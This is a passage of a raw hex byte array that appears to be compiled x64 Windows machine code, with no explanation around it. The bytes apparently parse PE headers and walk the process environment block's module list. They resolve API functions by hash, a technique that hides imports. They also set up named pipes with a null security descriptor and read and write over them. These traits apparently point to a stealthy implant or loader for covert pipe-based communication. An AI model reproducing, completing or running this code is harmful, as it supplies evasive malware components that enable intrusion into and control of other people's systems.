0,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x48,0x3B,0x45,0xE0,0x75,0xAD,0xB8,0x00,0x00,0x00,0x00,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,0x48,0x89,0x4D,0x10,0x48,0x83,0x7D,0x10,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x6A,0x48,0x8B,0x45,0x10,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x0F,0xB7,0x00,0x66,0x3D,0x4D,0x5A,0x74,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x4E,0x48,0x8B,0x45,0xF8,0x8B,0x40,0x3C,0x48,0x63,0xD0,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0x45,0xF0,0x48,0x8B,0x45,0xF0,0x8B,0x00,0x3D,0x50,0x45,0x00,0x00,0x74,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x25,0x48,0x8B,0x45,0xF0,0x0F,0xB7,0x40,0x16,0x66,0x89,0x45,0xEE,0x0F,0xB7,0x45,0xEE,0x25,0x00,0x20,0x00,0x00,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x20,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x60,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0xC7,0x45,0xD4,0x60,0x00,0x00,0x00,0x8B,0x45,0xD4,0x65,0x48,0x8B,0x00,0x48,0x89,0x45,0xC8,0x48,0x8B,0x45,0xC8,0x48,0x89,0x45,0xF0,0x48,0x8B,0x45,0xF0,0x48,0x8B,0x40,0x18,0x48,0x89,0x45,0xE8,0x48,0x8B,0x45,0xE8,0x48,0x83,0xC0,0x10,0x48,0x89,0x45,0xE0,0x48,0x8B,0x45,0xE8,0x48,0x8B,0x40,0x10,0x48,0x89,0x45,0xF8,0xEB,0x47,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x30,0x48,0x39,0x45,0x10,0x74,0x2A,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x30,0x8B,0x55,0x18,0x41,0xB8,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xAE,0x01,0x00,0x00,0x48,0x89,0x45,0xD8,0x48,0x83,0x7D,0xD8,0x00,0x74,0x09,0x48,0x8B,0x45,0xD8,0xEB,0x1E,0x90,0xEB,0x01,0x90,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x00,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x48,0x3B,0x45,0xE0,0x75,0xAF,0xB8,0x00,0x00,0x00,0x00,0x48,0x83,0xC4,0x60,0x5D,0xC3,0x55,0x57,0x48,0x81,0xEC,0x68,0x03,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x8D,0x00,0x03,0x00,0x00,0x48,0x89,0x95,0x08,0x03,0x00,0x00,0x48,0x8B,0x85,0x08,0x03,0x00,0x00,0xBA,0x2E,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xC8,0x23,0x00,0x00,0x48,0x83,0xC0,0x01,0x48,0x89,0x85,0xD8,0x02,0x00,0x00,0x48,0x8B,0x95,0xD8,0x02,0x00,0x00,0x48,0x8B,0x85,0x08,0x03,0x00,0x00,0x48,0x29,0xC2,0x89,0x95,0xD4,0x02,0x00,0x00,0x48,0x8D,0x95,0xB0,0x01,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xB9,0x20,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x48,0x89,0xFA,0x89,0x02,0x48,0x83,0xC2,0x04,0x88,0x02,0x48,0x83,0xC2,0x01,0x8B,0x8D,0xD4,0x02,0x00,0x00,0x48,0x8B,0x95,0x08,0x03,0x00,0x00,0x48,0x8D,0x85,0xB0,0x01,0x00,0x00,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x59,0x23,0x00,0x00,0x48,0x8D,0x85,0xB0,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x3A,0x23,0x00,0x00,0x48,0x89,0xC2,0x48,0x8D,0x85,0xB0,0x01,0x00,0x00,0x48,0x01,0xD0,0xC7,0x00,0x64,0x6C,0x6C,0x00,0x48,0x8D,0x55,0xA0,0xB8,0x00,0x00,0x00,0x00,0xB9,0x41,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x48,0x8D,0x95,0xB0,0x01,0x00,0x00,0x48,0x8D,0x45,0xA0,0x41,0xB8,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0xC2,0x22,0x00,0x00,0x48,0x8D,0x45,0xA0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x5E,0x02,0x00,0x00,0x48,0x89,0x85,0xC8,0x02,0x00,0x00,0x48,0x83,0xBD,0xC8,0x02,0x00,0x00,0x00,0x75,0x30,0x48,0x8B,0x85,0xD8,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0x95,0xCE,0xFF,0xFF,0x89,0xC2,0x48,0x8B,0x85,0x00,0x03,0x00,0x00,0x48,0x89,0xC1,0xE8,0x2A,0xFE,0xFF,0xFF,0x48,0x89,0x85,0xC0,0x02,0x00,0x00,0x48,0x8B,0x85,0xC0,0x02,0x00,0x00,0xEB,0x34,0x48,0x8B,0x85,0xD8,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0x65,0xCE,0xFF,0xFF,0x89,0xC2,0x48,0x8B,0x85,0xC8,0x02,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x18,0x00,0x00,0x00,0x48,0x89,0x85,0xC0,0x02,0x00,0x00,0x48,0x8B,0x85,0xC0,0x02,0x00,0x00,0x48,0x81,0xC4,0x68,0x03,0x00,0x00,0x5F,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xC4,0x80,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x44,0x89,0xC0,0x66,0x89,0x45,0x20,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0x30,0xFD,0xFF,0xFF,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xA9,0x01,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x89,0x45,0xE8,0x48,0x8B,0x45,0xE8,0x8B,0x40,0x3C,0x48,0x63,0xD0,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0x45,0xE0,0x48,0x8B,0x45,0xE0,0x48,0x05,0x88,0x00,0x00,0x00,0x48,0x89,0x45,0xD8,0x48,0x8B,0x45,0xD8,0x8B,0x40,0x04,0x85,0xC0,0x74,0x0A,0x48,0x8B,0x45,0xD8,0x8B,0x00,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x5F,0x01,0x00,0x00,0x48,0x8B,0x45,0xD8,0x8B,0x00,0x89,0xC2,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0x45,0xD0,0x48,0x8B,0x45,0xD8,0x8B,0x40,0x04,0x89,0x45,0xCC,0x48,0x8B,0x45,0xD0,0x8B,0x40,0x1C,0x89,0xC2,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0x45,0xC0,0x48,0x8B,0x45,0xD0,0x8B,0x40,0x20,0x89,0xC2,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0x45,0xB8,0x48,0x8B,0x45,0xD0,0x8B,0x40,0x24,0x89,0xC2,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0x45,0xB0,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x83,0x7D,0x18,0x00,0x0F,0x84,0x81,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xEB,0x6A,0x8B,0x45,0xF4,0x48,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xB8,0x48,0x01,0xD0,0x8B,0x00,0x89,0xC2,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0x45,0xA8,0x48,0x8B,0x45,0xA8,0x48,0x89,0xC1,0xE8,0x1B,0xCD,0xFF,0xFF,0x39,0x45,0x18,0x75,0x34,0x8B,0x45,0xF4,0x48,0x8D,0x14,0x00,0x48,0x8B,0x45,0xB0,0x48,0x01,0xD0,0x0F,0xB7,0x00,0x0F,0xB7,0xC0,0x48,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xC0,0x48,0x01,0xD0,0x8B,0x00,0x89,0xC2,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0x45,0xF8,0xEB,0x3F,0x83,0x45,0xF4,0x01,0x48,0x8B,0x45,0xD0,0x8B,0x40,0x18,0x39,0x45,0xF4,0x72,0x8A,0xEB,0x2D,0x0F,0xB7,0x55,0x20,0x48,0x8B,0x45,0xD0,0x8B,0x40,0x10,0x29,0xC2,0x89,0xD0,0x48,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xC0,0x48,0x01,0xD0,0x8B,0x00,0x89,0xC2,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x38,0x48,0x8B,0x55,0xF8,0x48,0x8B,0x45,0xD0,0x48,0x39,0xC2,0x72,0x27,0x8B,0x55,0xCC,0x48,0x8B,0x45,0xD0,0x48,0x01,0xD0,0x48,0x8B,0x55,0xF8,0x48,0x39,0xC2,0x73,0x14,0x48,0x8B,0x55,0xF8,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0xB6,0xFC,0xFF,0xFF,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x48,0x83,0xEC,0x80,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xC4,0x80,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0xC7,0x45,0xC8,0x60,0x00,0x00,0x00,0x8B,0x45,0xC8,0x65,0x48,0x8B,0x00,0x48,0x89,0x45,0xC0,0x48,0x8B,0x45,0xC0,0x48,0x89,0x45,0xF0,0x48,0x8B,0x45,0xF0,0x48,0x8B,0x40,0x18,0x48,0x89,0x45,0xE8,0x48,0x8B,0x45,0xE8,0x48,0x83,0xC0,0x10,0x48,0x89,0x45,0xE0,0x48,0x8B,0x45,0xE8,0x48,0x8B,0x40,0x10,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0x10,0xBA,0x5C,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x6D,0x20,0x00,0x00,0x48,0x85,0xC0,0x0F,0x95,0xC0,0x0F,0xB6,0xC0,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x74,0x29,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x50,0x50,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0x48,0x8B,0x05,0x05,0xB2,0x00,0x00,0xFF,0xD0,0x85,0xC0,0x75,0x36,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x30,0xE9,0x03,0x01,0x00,0x00,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x50,0x60,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0x48,0x8B,0x05,0xDC,0xB1,0x00,0x00,0xFF,0xD0,0x85,0xC0,0x75,0x0D,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x30,0xE9,0xDA,0x00,0x00,0x00,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x00,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x48,0x3B,0x45,0xE0,0x75,0x93,0x83,0x7D,0x18,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xB5,0x00,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x8D,0x05,0x58,0x41,0x00,0x00,0x48,0x89,0xC1,0xE8,0x05,0xFF,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0xDA,0xEC,0x01,0xA3,0x48,0x89,0xC1,0xE8,0x13,0xFD,0xFF,0xFF,0x48,0x89,0x45,0xD0,0x48,0x83,0x7D,0xD0,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x7C,0x48,0xC7,0x45,0xB0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x89,0x45,0xB8,0x48,0x8B,0x45,0xB8,0xBA,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0xE2,0x1C,0x00,0x00,0x66,0x89,0x45,0xB0,0x0F,0xB7,0x45,0xB0,0x01,0xC0,0x66,0x89,0x45,0xB0,0x0F,0xB7,0x45,0xB0,0x83,0xC0,0x02,0x66,0x89,0x45,0xB2,0x48,0xC7,0x45,0xA8,0x00,0x00,0x00,0x00,0x48,0x8D,0x4D,0xA8,0x48,0x8D,0x55,0xB0,0x48,0x8B,0x45,0xD0,0x49,0x89,0xC9,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0xB9,0x00,0x00,0x00,0x00,0xFF,0xD0,0x89,0x45,0xCC,0x83,0x7D,0xCC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x04,0x48,0x8B,0x45,0xA8,0x48,0x83,0xEC,0x80,0x5D,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x48,0x89,0xE5,0x48,0x81,0xEC,0xC0,0x00,0x00,0x00,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x4C,0x89,0x45,0x20,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0xA0,0x0F,0x11,0x45,0xB0,0x66,0x0F,0xD6,0x45,0xC0,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0x80,0x66,0x0F,0xD6,0x45,0x90,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0x3D,0x40,0x00,0x00,0x48,0x89,0xC1,0xE8,0xCA,0xFD,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x1D,0x21,0x88,0x03,0x48,0x89,0xC1,0xE8,0xD8,0xFB,0xFF,0xFF,0x48,0x89,0x45,0xD8,0x48,0x83,0x7D,0xD8,0x00,0x0F,0x84,0x84,0x01,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0x07,0x40,0x00,0x00,0x48,0x89,0xC1,0xE8,0x94,0xFD,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x86,0xE8,0x93,0x16,0x48,0x89,0xC1,0xE8,0xA2,0xFB,0xFF,0xFF,0x48,0x89,0x45,0xD0,0x48,0x83,0x7D,0xD0,0x00,0x0F,0x84,0x51,0x01,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0xEB,0x3F,0x00,0x00,0x48,0x89,0xC1,0xE8,0x5E,0xFD,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x44,0x3B,0x99,0x58,0x48,0x89,0xC1,0xE8,0x6C,0xFB,0xFF,0xFF,0x48,0x89,0x45,0xC8,0x48,0x83,0x7D,0xC8,0x00,0x0F,0x84,0x1E,0x01,0x00,0x00,0x48,0x8B,0x05,0x40,0xAF,0x00,0x00,0xFF,0xD0,0x41,0xB8,0x0A,0x02,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x31,0xAF,0x00,0x00,0xFF,0xD0,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x0F,0x84,0xF2,0x00,0x00,0x00,0x48,0x8D,0x45,0xA0,0x4C,0x8B,0x45,0xD8,0xBA,0x01,0x00,0x00,0x00,0x48,0x89,0xC1,0x41,0xFF,0xD0,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x0F,0x84,0xD5,0x00,0x00,0x00,0x48,0x8D,0x45,0x80,0x48,0x8D,0x50,0x08,0x48,0x8B,0x45,0xD0,0x41,0xB9,0x00,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x0D,0x6F,0x3F,0x00,0x00,0xFF,0xD0,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x0F,0x84,0xA8,0x00,0x00,0x00,0x48,0x8B,0x55,0x10,0x48,0x8B,0x45,0xF0,0x49,0x89,0xD1,0x4C,0x8D,0x05,0x74,0x3F,0x00,0x00,0xBA,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x49,0x1D,0x00,0x00,0x83,0x7D,0x18,0x00,0x74,0x07,0xB8,0x03,0x00,0x00,0x40,0xEB,0x05,0xB8,0x03,0x00,0x00,0x00,0x89,0x45,0xE8,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xE0,0xFF,0x00,0x00,0x00,0x44,0x8B,0x4D,0xE0,0x44,0x8B,0x45,0xE4,0x8B,0x55,0xE8,0x48,0x8B,0x45,0xF0,0x48,0x8D,0x4D,0x80,0x48,0x89,0x4C,0x24,0x38,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x28,0x00,0x10,0x00,0x00,0xC7,0x44,0x24,0x20,0x00,0x10,0x00,0x00,0x4C,0x8B,0x55,0xC8,0x48,0x89,0xC1,0x41,0xFF,0xD2,0x48,0x8B,0x55,0x20,0x48,0x89,0x02,0x48,0x8B,0x45,0x20,0x48,0x8B,0x00,0x48,0x83,0xF8,0xFF,0x74,0x1B,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x13,0x90,0xEB,0x10,0x90,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x83,0x7D,0xF0,0x00,0x74,0x21,0x48,0x8B,0x05,0x0E,0xAE,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x06,0xAE,0x00,0x00,0xFF,0xD0,0x8B,0x45,0xFC,0x48,0x81,0xC4,0xC0,0x00,0x00,0x00,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x60,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0x2F,0x3E,0x00,0x00,0x48,0x89,0xC1,0xE8,0xA2,0xFB,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0xA4,0x6E,0x97,0x24,0x48,0x89,0xC1,0xE8,0xB0,0xF9,0xFF,0xFF,0x48,0x89,0x45,0xE8,0x48,0x83,0x7D,0xE8,0x00,0x0F,0x84,0x9F,0x00,0x00,0x00,0x48,0x8B,0x05,0x84,0xAD,0x00,0x00,0xFF,0xD0,0x41,0xB8,0x0A,0x02,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x75,0xAD,0x00,0x00,0xFF,0xD0,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x74,0x77,0x48,0x8B,0x55,0x10,0x48,0x8B,0x45,0xF0,0x49,0x89,0xD1,0x4C,0x8D,0x05,0x0C,0x3E,0x00,0x00,0xBA,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0xE1,0x1B,0x00,0x00,0x48,0x8B,0x45,0xF0,0x48,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x28,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x20,0x03,0x00,0x00,0x00,0x4C,0x8B,0x55,0xE8,0x41,0xB9,0x00,0x00,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x00,0x00,0x00,0xC0,0x48,0x89,0xC1,0x41,0xFF,0xD2,0x48,0x8B,0x55,0x18,0x48,0x89,0x02,0x48,0x8B,0x45,0x18,0x48,0x8B,0x00,0x48,0x83,0xF8,0xFF,0x74,0x0F,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x83,0x7D,0xF0,0x00,0x74,0x21,0x48,0x8B,0x05,0xD7,0xAC,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xCF,0xAC,0x00,0x00,0xFF,0xD0,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x60,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0x00,0x3D,0x00,0x00,0x48,0x89,0xC1,0xE8,0x73,0xFA,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x66,0x94,0x01,0x96,0x48,0x89,0xC1,0xE8,0x81,0xF8,0xFF,0xFF,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x74,0x35,0x48,0x8B,0x45,0x10,0x4C,0x8B,0x45,0xF0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x41,0xFF,0xD0,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x75,0x10,0x48,0x8B,0x05,0x35,0xAC,0x00,0x00,0xFF,0xD0,0x3D,0x17,0x02,0x00,0x00,0x75,0x0C,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x58,0x48,0x8D,0x6C,0x24,0x50,0x48,0x89,0x4D,0x20,0x48,0x89,0x55,0x28,0x4C,0x89,0x45,0x30,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0x58,0x3C,0x00,0x00,0x48,0x89,0xC1,0xE8,0xCB,0xF9,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x8F,0x97,0x38,0x8D,0x48,0x89,0xC1,0xE8,0xD9,0xF7,0xFF,0xFF,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x0F,0x84,0x87,0x00,0x00,0x00,0x48,0x8B,0x05,0xAD,0xAB,0x00,0x00,0xFF,0xD0,0x41,0xB8,0x00,0x10,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x9E,0xAB,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0x28,0x48,0x89,0x02,0x48,0x8B,0x45,0x28,0x48,0x8B,0x00,0x48,0x85,0xC0,0x74,0x57,0x48,0x8B,0x45,0x28,0x48,0x8B,0x10,0x48,0x8D,0x4D,0xEC,0x48,0x8B,0x45,0x20,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x4C,0x8B,0x55,0xF0,0x49,0x89,0xC9,0x41,0xB8,0x00,0x10,0x00,0x00,0x48,0x89,0xC1,0x41,0xFF,0xD2,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x74,0x26,0x8B,0x45,0xEC,0x85,0xC0,0x74,0x1F,0x48,0x83,0x7D,0x30,0x00,0x74,0x09,0x8B,0x55,0xEC,0x48,0x8B,0x45,0x30,0x89,0x10,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x7D,0xFC,0x00,0x75,0x3B,0x48,0x8B,0x45,0x28,0x48,0x8B,0x00,0x48,0x85,0xC0,0x74,0x2F,0x48,0x8B,0x45,0x28,0x48,0x8B,0x18,0x48,0x8B,0x05,0x06,0xAB,0x00,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x02,0xAB,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x45,0x28,0x48,0xC7,0x00,0x00,0x00,0x00,0x00,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x58,0x5B,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x38,0x48,0x8D,0x6C,0x24,0x30,0x48,0x89,0x4D,0x20,0x48,0x89,0x55,0x28,0x4C,0x89,0x45,0x30,0x4C,0x89,0x4D,0x38,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0x8B,0x05,0xA3,0xAA,0x00,0x00,0xFF,0xD0,0x41,0xB8,0x00,0x10,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x94,0xAA,0x00,0x00,0xFF,0xD0,0x48,0x89,0x45,0xF0,0x48,0x8B,0x45,0xF0,0x48,0x85,0xC0,0x0F,0x84,0xBF,0x00,0x00,0x00,0x48,0x8D,0x55,0xF0,0x48,0x8B,0x45,0x20,0x41,0xB8,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x45,0xFE,0xFF,0xFF,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x0F,0x84,0x9F,0x00,0x00,0x00,0x48,0x8B,0x45,0xF0,0x8B,0x00,0x85,0xC0,0x0F,0x85,0x94,0x00,0x00,0x00,0x48,0x83,0x7D,0x28,0x00,0x74,0x50,0x48,0x8B,0x05,0x3A,0xAA,0x00,0x00,0xFF,0xD0,0x41,0xB8,0x05,0x01,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x2B,0xAA,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0x28,0x48,0x89,0x02,0x48,0x8B,0x45,0x28,0x48,0x8B,0x00,0x48,0x85,0xC0,0x74,0x5D,0x48,0x8B,0x45,0xF0,0x48,0x8D,0x50,0x08,0x48,0x8B,0x45,0x28,0x48,0x8B,0x00,0x41,0xB8,0x05,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x49,0x18,0x00,0x00,0x48,0x83,0x7D,0x30,0x00,0x74,0x10,0x48,0x8B,0x45,0xF0,0x8B,0x90,0x30,0x08,0x00,0x00,0x48,0x8B,0x45,0x30,0x89,0x10,0x48,0x83,0x7D,0x38,0x00,0x74,0x10,0x48,0x8B,0x45,0xF0,0x8B,0x90,0x34,0x08,0x00,0x00,0x48,0x8B,0x45,0x38,0x89,0x10,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x8B,0x45,0xF0,0x48,0x85,0xC0,0x74,0x21,0x48,0x8B,0x5D,0xF0,0x48,0x8B,0x05,0x9C,0xA9,0x00,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x98,0xA9,0x00,0x00,0xFF,0xD0,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x38,0x5B,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x50,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x44,0x89,0x45,0x20,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0xB9,0x39,0x00,0x00,0x48,0x89,0xC1,0xE8,0x2C,0xF7